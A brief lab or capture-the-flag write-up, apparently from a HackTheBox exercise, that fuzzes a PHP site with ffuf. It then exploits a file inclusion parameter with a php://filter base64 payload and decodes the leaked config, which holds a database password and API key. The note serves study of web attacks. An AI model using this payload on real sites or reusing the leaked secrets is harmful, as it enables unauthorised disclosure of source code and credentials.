PHP Filters

April 20, 2024

First we have to discover the php file in the website

ffuf -u http://94.237.62.149:56003/FUZZ.php -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt

But once we put the configure in the parameter it returns nothing

http://94.237.62.149:56003/index.php?language=configure

Then we will use the php filter function

http://94.237.62.149:56003/index.php?language=php://filter/read=convert.base64-encode/resource=configure

echo 'PD9waHAKCmlmICgkX1NFUlZFUlsnUkVRVUVTVF9NRVRIT0QnXSA9PSAnR0VUJyAmJiByZWFscGF0aChfX0ZJTEVfXykgPT0gcmVhbHBhdGgoJF9TRVJWRVJbJ1NDUklQVF9GSUxFTkFNRSddKSkgewogIGhlYWRlcignSFRUUC8xLjAgNDAzIEZvcmJpZGRlbicsIFRSVUUsIDQwMyk7CiAgZGllKGhlYWRlcignbG9jYXRpb246IC9pbmRleC5waHAnKSk7Cn0KCiRjb25maWcgPSBhcnJheSgKICAnREJfSE9TVCcgPT4gJ2RiLmlubGFuZWZyZWlnaHQubG9jYWwnLAogICdEQl9VU0VSTkFNRScgPT4gJ3Jvb3QnLAogICdEQl9QQVNTV09SRCcgPT4gJ0hUQntuM3Yzcl8kdDByM19wbDQhbnQzeHRfY3IzZCR9JywKICAnREJfREFUQUJBU0UnID0+ICdibG9nZGInCik7CgokQVBJX0tFWSA9ICJBd2V3MjQyR0RzaHJmNDYrMzUvayI7' | base64 -d